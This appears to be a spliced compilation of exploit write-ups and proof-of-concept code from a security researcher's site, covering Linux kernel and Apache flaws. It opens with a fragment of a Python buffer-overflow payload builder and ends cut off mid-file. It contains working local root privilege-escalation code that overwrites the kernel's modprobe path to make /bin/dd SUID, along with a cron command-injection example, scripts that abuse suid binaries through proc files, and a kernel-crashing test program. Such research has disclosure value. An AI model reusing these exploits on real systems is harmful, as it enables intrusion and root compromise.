payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
Source: http://www.halfdog.net/Security/2011/SuidBinariesAndProcInterface/
# proc Handling of Already Opened Files: Subvert The Stack Base Address Randomization With Suid-Binaries
Problem description: Latest ubuntu lucid stock kernel (2.6.32-27-generic) contains a bug that allows to keep attached to open /proc file entries as lower privileged user even after the process is executing suid binary. By doing that, a malicous user might draw information from the proc interface or even modify process settings of privileged process.
Monitor syscalls, syscall stack, limits of running suid-binaries: A simple helper program (ProcReadHelper.c) is sufficient to open a proc entry before executing a suid program and keep it open. (SyscallReadExample.sh):
#!/bin/bash
(./ProcReadHelper /proc/$$/syscall) &
sleep 1
exec /usr/bin/passwd
Output:
Read 69 bytes:
7 0xffffffff 0xbff646ac 0x0 0x0 0xf4d 0xbff646c8 0xbff64654 0x64b422
Changing password for test.
(current) UNIX password: Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
The same can be done with /proc/[pid]/stack or /proc/[pid]/limits, where one can see how passwd increases its limits to unlimited after invocation.
Modify core dump flags of running suid-binaries: Since proc is also writeable, the same technique can be used to modify open proc files, e.g. adjust the coredump filter of a currently running passwd program (ModifyCoreDumpFilter.sh):
#!/bin/bash
echo "Current pid is $$"
(sleep 10; echo 127 ) > /proc/$$/coredump_filter &
sleep 5
exec /usr/bin/passwd
Some open proc files can only be written by the process itself, e.g. /proc/[pid]/mem, a limitation that could be circumvented if any suid-binary echos out command line/input file/environment data, e.g. sudoedit -p xxx /etc/sudoers echos xxx. If /procc/[pid]/mem would be writeable on standard linux kernels, this program should give local root privilege escalation (SeekHelper.c), e.g. ./SeekHelper /proc/self/mem 8048000 /usr/bin/sudoedit -p xxx /etc/sudoers with a crafted address and promt payload. Currently something else is still blocking in kernel, could be fs/proc/base.c:
static ssize_t mem_read(struct file * file, char __user * buf,
size_t count, loff_t *ppos) {
...
if (file->private_data != (void*)((long)current->self_exec_id))
goto out_put;
Inject faults using oom_adjust: Some programs, e.g. from the shadow suite, try to disable all signals and limits to assure that critical code is not interrupted, e.g. modification of /etc/shadow when a unprivileged user changes his password. Since this program creates a lock file, interruption via oom_kill could leave stale lockfiles and so impede functionality.
test@localhost:~/Tasks/LowMemoryProgramCrashing$ cat OomRun.sh
#!/bin/bash
(sleep 3; echo 15) > /proc/$$/oom_adj &
exec /usr/bin/passwd
Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/
## Background
The Apache HTTP Server is an open-source HTTP server for modern operating systems including UNIX, Microsoft Windows, Mac OS/X and Netware. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services observing the current HTTP standards. Apache has been the most popular web server on the Internet since April of 1996.
## Problem Description
During routine testing, an integer overflow was found in apache2-mpm-worker 2.2.19 in the function ap_pregsub called from mod-setenvif. The issue affects all versions from 2.0.x to 2.0.64 and 2.2.x to 2.2.21, not depending on the mode of operation (worker, prefork, ..). When a header field is mangled using SetEnvIf, the new environment variable data can be multiples of the size of the submitted header field. When ap_pregsub from server/util.c calculates the buffer size using
else if (no < nmatch && pmatch[no].rm_so < pmatch[no].rm_eo) {
len += pmatch[no].rm_eo - pmatch[no].rm_so;
}
the length value overflows and is used in a subsequent allocation call of buffer too small:
dest = dst = apr_pcalloc(p, len + 1);
The subsequent filling of the buffer with user-supplied data leads to buffer overflow. Even without overflowing, the allocation of significant amounts of server memory for excessivly large environment variables should be considered a problem also.
## Impact
Depending on the input data, exploitation of this issue leads to:
- allocation of large quantities of server memory, killing processes due to out-of-memory conditions or reducing system performance to crawl due to massive swapping.
- invalid memory access when copying more than 4GB of data into the much smaller buffer. Since the loop copying the data uses only stack and libc-heap, not the apr pool, for source and destination addresses, copy process is linear, starting at low address and pool is separated by unaccessible memory pages for protection on linux. Usually this will only cause termination of the apache process, which is restarted automatically. The impact is increased system load and DOS-condition while under attack.
- At least with multi-threaded server (worker), arbitrary code execution is proven, on single-threaded varians, the use of crafted stop-sequences might allow code execution even on these systems. On many systems ASLR will reduce the efficiency of the attack, but even with ASLR enabled, the automatic restart of processes allows to probe for all possible mappings of libc. An attacker, that has already access to another account on the machen, might be able to use ApacheNoFollowSymlinkTimerace to learn the memory map of the process, thus having the posibility to reach nearly 100% efficiency.
To trigger this issue, mod_setenvif must be enabled and the attacker has to be able to place a crafted .htaccess file on the server. Since the triggering of the exploit might depend on a magic header field, the malicious .htaccess might be placed as backdoor in web-content .zip files or could be stored dormant on the server until activation by the corresponding magic request.
Source: http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html
## Starting Point
During routine testing, an integer overflow in apache2-mpm-worker 2.2.19 mod-setenvif was found. The crash occured when mangling request headers using a crafted .htaccess-file (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/SingleThread-htaccess). The broken code was ap_pregsub in server/util.c, where the buffer size of a new header field could overflow, the value was then used for memory allocation. When copying data to the buffer an, overwrite of the an apr (apache portable runtime) memory-pool boundaries occured, similar to standard heap buffer overflows.
## Outline of Exploit
The main goals creating the exploit were:
- Exploit has to be triggerable via HTTP GET requests only
- Exploit data has to be 0-byte free to have valid HTTP-protocol
- No alternative way of heap-spraying is used, e.g. GET + content-length. All variants I knew of had much too low efficiency
- Use libc for ROP, although all libc-addresses start with 0-byte, which cannot be sent via HTTP
- Rely only on libc address guess, but not heap/stack address guess, unless guess could be made nearly 100% reliable
- Use the already open HTTP-connections and turn them into command connections on the fly
- Have exploit in less than 256 bytes
Two different exploit layouts were developed. The first one used multiple threads, so that one was overwriting the data of the second thread before hitting the end of the memory area. Precise timing was essential to get shell access.
The second one used a more crafted substitution expression, stopping the copy in a single thread by modifying the regular expression currently processed in the thread. Since there is race condition involved, this exploit was far more reliable than the first one.
Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/
## Introduction
Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.
## Method
A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):
typedef struct {
int server_limit;
int thread_limit;
ap_scoreboard_e sb_type;
ap_generation_t running_generation; /* the generation of children which
* should still be serving requests.
*/
apr_time_t restart_time;
int lb_limit;
} global_score;
When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.
apr_status_t ap_cleanup_scoreboard(void *d)
{
if (ap_scoreboard_image == NULL) {
return APR_SUCCESS;
}
if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
ap_cleanup_shared_mem(NULL);
}
else {
free(ap_scoreboard_image->global);
free(ap_scoreboard_image);
ap_scoreboard_image = NULL;
}
return APR_SUCCESS;
}
Abort output is written to apache default error log:
[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367
To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:
set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue
Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.
--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
* ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern void _init() {
int fd=-1, pos;
char mmapData[1<<16];
int mmapDataLen;
char str[1024];
char* sharedSegStart=NULL;
char* sharedSegEnd=NULL;
int sharedSegLen;
int result;
fd=open("/proc/self/maps", O_RDONLY);
mmapDataLen=0;
while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
close(fd);
fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
result=sprintf(str, "Read %d\n", mmapDataLen);
write(fd, str, result);
write(fd, mmapData, mmapDataLen);
for(pos=0; pos<mmapDataLen;) {
result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
(int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
if(result==3) break;
while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
if(pos==mmapDataLen) break;
pos++;
}
result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
(int)sharedSegEnd);
write(fd, str, result);
if(pos==mmapDataLen) return;
// Set ap_scoreboard_e sb_type=3
*(int*)(sharedSegStart+0x10)=3;
exit(0);
}
--- EOF --
Source: http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
## Introduction
Problem description: Linux kernel binfmt_script handling in combination with CONFIG_MODULES can lead to disclosure of kernel stack data during execve via copy of data from dangling pointer to stack to growing argv list. Apart from that, the BINPRM_MAX_RECURSION can be exceeded: the maximum of 4 recursions is ignored, instead a maximum of roughly 2^6 recursions is in place.
## Method
Execution of a sequence of crafted scripts causes bprm->interp pointer to be set to data within current stack frame. When frame is left, data at location of dangling pointer can be overwritten before it is added to argv-list in next run and then exported to userspace.
## Results, Discussion
The overwrite is triggered when executables with special names handled by binfmt_script call each other until BINPRM_MAX_RECURSION is reached. During each round, load_script from fs/binfmt_script.c extracts the interpreter name for the next round and stores it within the current stack frame. The pointer to this name is also copied to bprm->interp and used during execution of the next interpreter (also a script) within search_binary_handler function. This is not problematic unless CONFIG_MODULES is also defined. When BINPRM_MAX_RECURSION is reached, load_script returns, thus leaving bprm->interp pointing to a now non-existing stack frame. Due to CONFIG_MODULES and the special interpreter name, search_binary_handler will trigger request for loading of module via request_module and invoke load_script again. The function will then append the data from dangling pointer bprm->interp to exec args, thus disclosing some kernel stack bytes. Output on 64-bit system might contain:
0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000180: 4141 4141 2d35 3600 7878 7800 ffff ffff AAAA-56.xxx.....
0000190: ffff ff7f ffff ffff ffff ff7f 809a ac1d ................
00001a0: 0078 7878 000d 6669 6c65 2d41 4141 4141 .xxx..file-AAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
Apart from memory disclosure, reaching BINPRM_MAX_RECURSION will not terminate execve call with error, but invocation of load_script is triggered more than the intended maximum of loader invocations, leading to higher CPU consumption from single call to execve.
Impact: Impact is low, since exploitation would need local code execution anyway. Only disclosure of kernel addresses when System.map is not readable seems interesting. The increased CPU load itself could be deemed unproblematic, an attacker in the same position but without this POC would need to fork more processes instead to get same load, which is quite feasable in most situations.
Affected versions: Not clear right now, bug might have been introduced recently.
Ubuntu Oneiric i386 kernel (3.0.0-24-generic): Not affected, test script does not cause excessive recursion. Not clear if bug could be triggered using other conditions.
Ubuntu precise i386 and amd64 kernel (3.2.0-29-generic): Both affected
Further analysis: It seems, that this scheme with only binfmt_elf and binfmt_script cannot lead to kernel OOPS or problematic stack writes. It could be investigated, if additional modules, e.g. binfmt_misc could open such a hole.
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/
## Introduction
Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.
## Methods
The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:
#!/bin/sh
# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.
[ -x /sbin/initctl ] || exit 0
for session in /run/user/*/upstart/sessions/*
do
env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done
On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:
cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"
mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/
## Introduction
Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to trigger FPU errors. Closer analysis showed, that in general, the handling of the FPU control register and unhandled FPU-exception could trigger CPU-exceptions at unexpected locations, also in ring-0 code. Key player is the emms instruction, which will fault when e.g. cr0 has bits set due to unhandled errors. This only affects kernels on some processor architectures, currently only AMD K7/K8 seems to be relevant.
## Methods
Virtual86SwitchToEmmsFault.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86SwitchToEmmsFault.c) was the first POC, that triggers kernel-panic via vm86 syscall. Depending on task layout and kernel scheduler timing, the program might just cause an OOPS without heavy side-effects on the system. OOPS might happen up to 1min after invocation, depending on the scheduler operation and which of the other tasks are using the FPU. Sometimes it causes recursive page faults, thus locking up the entire machine.
To allow reproducible tests on at least a local machine, the random code execution test tool (Virtual86RandomCode.c - http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86RandomCode.c) might be useful. It still uses the vm86-syscall, but executes random code, thus causing the FPU and task schedule to trigger a multitude of faults and to faster lock-up the system. When executed via network, executed random data can be recorded and replayed even when target machine locks up completely. Network test:
socat TCP4-LISTEN:1234,reuseaddr=1,fork=1 EXEC:./Virtual86RandomCode,nofork=1
tee TestInput < /dev/urandom | socat - TCP4:x.x.x.x:1234 > ProcessedBlocks
An improved version allows to bring the FPU into the same state without using the vm86-syscall. The key instruction is fldcw (floating point unit load control word). When enabling exceptions in one process just before exit, the task switch of two other processes later on might fail. It seems that due to that failure, the task->nsproxy ends up being NULL, thus causing NULL-pointer dereference in exit_shm during do_exit.
When the NULL-page is mapped, the NULL-dereference could be used to fake a rw-semaphore data structure. In exit_shm, the kernel attemts to down_write the semaphore, which adds the value 0xffff0001 at a user-controllable location. Since the NULL-dereference does not allow arbitrary reads, the task memory layout is unknown, thus standard change of EUID of running task is not possible. Apart from that, we are in do_exit, so we would have to change another task. A suitable target is the shmem_xattr_handlers list, which is at an address known from System.map. Usually it contains two valid handlers and a NULL value to terminate the list. As we are lucky, the value after NULL is 1, thus adding 0xffff0001 to the position of the NULL-value plus 2 will will turn the NULL into 0x10000 (the first address above mmap_min_addr) and the following 1 value into NULL, thus terminating the handler list correctly again.
The code to perform those steps can be found in FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
The modification of the shmem_xattr_handlers list is completely silent (could be a nice data-only backdoor) until someone performs a getxattr call on a mounted tempfs. Since such a file-system is mounted by default at /run/shm, another program can turn this into arbitrary ring-0 code execution. To avoid searching the process list to give EUID=0, an alternative approach was tested. When invoking the xattr-handlers, a single integer value write to another static address known from System.map (modprobe_path) will change the default modprobe userspace helper pathname from /sbin/modprobe to /tmp//modprobe. When unknown executable formats or network protocols are requested, the program /tmp//modprobe is executed as root, this demo just adds a script to turn /bin/dd into a SUID-binary. dd could then be used to modify libc to plant another backdoor there. The code to perform those steps can be found in ManipulatedXattrHandlerForPrivEscalation.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ManipulatedXattrHandlerForPrivEscalation.c).
--- Virtual86SwitchToEmmsFault.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode. Due to unhandled FPU errors,
* task switch will fail afterwards, kernel will attempt to
* kill other tasks when switching.
*
* gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
memset(realMem, 0, realMemSize);
memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem);
}
--- EOF ---
--- Virtual86RandomCode.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode.
*
* gcc -o Virtual86RandomCode Virtual86RandomCode.c
*
* Usage: ./Virtual86RandomCode < /dev/urandom > /dev/null
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
int readFully(int inputFd, void *data, int length) {
int readLength=0;
int result;
while(length) {
result=read(inputFd, data, length);
if(result<0) {
if(!readLength) readLength=result;
break;
}
readLength+=result;
length-=result;
data+=result;
}
return(readLength);
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
// Do not use stack above
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int randomFd=0;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
result=readFully(randomFd, realMem, realMemSize);
if(result!=realMemSize) {
fprintf(stderr, "Failed to read random data\n");
return(0);
}
write(1, &result, 4);
write(1, realMem, realMemSize);
while(1) {
runTest(realMem);
result=readFully(randomFd, realMem, 0x1000);
write(1, &result, 4);
write(1, realMem, result);
}
}
--- EOF ---
--- FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam maps a NULL page to exploit a kernel NULL-dereferences,
* Usually that will not work due to sane /proc/sys/vm/mmap_min_addr
* settings. An unhandled FPU error causes part of task switching
* to fail resulting in NULL-pointer dereference. This can be
* used to add 0xffff0001 to an arbitrary memory location, one
* of the entries in shmem_xattr_handlers is quite suited because
* it has a static address, which can be found in System.map.
* Another tool (ManipulatedXattrHandlerForPrivEscalation.c)
* could then be used to invoke the xattr handlers, thus giving
* local root privilege escalation.
*
* gcc -o FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
int childPid;
int sockFds[2];
int localSocketFd;
int requestCount;
int result;
// Cleanup beforehand to avoid interference from previous run
asm volatile (
"emms;"
: // output (0)
:
:
);
childPid=fork();
if(childPid>0) {
mmap((void*)0, 1<<12, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
// down_write just adds 0xffff0001 at location offset +0x6c of
// the memory address given below. shmem_xattr_handlers handlers are
// at 0xc150ae1c and contain two valid handlers, terminated by
// a NULL value. As we are lucky, the value after NULL is 1, thus
// adding 0xffff0001 shmem_xattr_handlers + 0x6c + 0xa will turn
// the NULL into 0x10000 and the following 1 into NULL, hence
// the handler list is terminated correctly again.
*((int*)0x8)=0xc150adba;
result=socketpair(AF_UNIX, SOCK_STREAM, 0, sockFds);
result=fork();
close(sockFds[result?1:0]);
localSocketFd=sockFds[result?0:1];
asm volatile (
"emms;"
: // output (0)
:
:
);
fprintf(stderr, "Playing task switch ping-pong ...\n");
// This might be too short on faster CPUs?
for(requestCount=0x10000; requestCount; requestCount--) {
result=write(localSocketFd, sockFds, 4);
if(result!=4) break;
result=read(localSocketFd, sockFds, 4);
if(result!=4) break;
asm volatile (
"fldz;"
"fldz;"
"fdivp;"
: // output (0)
:
:
);
}
close(localSocketFd);
fprintf(stderr, "Switch loop terminated\n");
// Cleanup afterwards
asm volatile (
"emms;"
: // output (0)
:
:
);
return(0);
}
usleep(10000);
// Enable FPU exceptions
asm volatile (
"fdivp;"
"fstcw %0;"
"andl $0xffc0, %0;"
"fldcw %0;"
: "=m"(result) // output (0)
:
:"%eax" // Clobbered register
);
// Terminate immediately, this seems to improve results
return(0);
}
--- EOF ---
--- ManipulatedXattrHandlerForPrivEscalation.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam prepares memory so that the manipulated shmem_xattr_handlers
* (see FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
* will be read from here, thus giving ring-0 code execution.
* To avoid fiddling with task structures, this will overwrite
* just 4 bytes of modprobe_path, which is used by the kernel
* when unknown binary formats or network protocols are requested.
* In the end, when executing an unknown binary format, the modified
* modprobe script will just turn "/bin/dd" to be SUID, e.g. to
* own libc later on.
*
* gcc -o ManipulatedXattrHandlerForPrivEscalation ManipulatedXattrHandlerForPrivEscalation.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
void *handlerPage;
int *handlerStruct;
void *handlerCode;
char *modprobeCommands="#!/bin/sh\nchmod u+s /bin/dd\n";
int result;
handlerStruct=(int*)0x10000;
handlerPage=mmap((void*)(((int)handlerStruct)&0xfffff000), 1<<12,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(handlerPage==(void*)-1) {
fprintf(stderr, "Failed to map handler page\n");
return(1);
}
fprintf(stderr, "Handler page at %p\n", handlerPage);
*handlerStruct=(int)(handlerStruct+0x10); // Prefix pointer
strcpy((char*)(handlerStruct+0x10), "system"); // Prefix value
handlerCode=(void*)(handlerStruct+0x100);
*(handlerStruct+0x2)=(int)handlerCode; // list
*(handlerStruct+0x3)=(int)handlerCode; // get
*(handlerStruct+0x4)=(int)handlerCode; // set
// Switch the modprobe helper path from /sbin to /tmp. Address is
// known from kernel version's symbols file
memcpy(handlerCode, "\xb8\xa1\x2d\x50\xc1\xc7\x00tmp/\xc3", 12);
result=getxattr("/run/shm/", "system.dont-care", handlerPage, 1);
fprintf(stderr, "Setattr result: 0x%x, error %d (%s)\n", result,
errno, strerror(errno));
result=open("/tmp/modprobe", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
write(result, modprobeCommands, strlen(modprobeCommands));
close(result);
// Create a pseudo-binary with just NULL bytes, executing it will
// trigger the binfmt module loading
result=open("/tmp/dummy", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
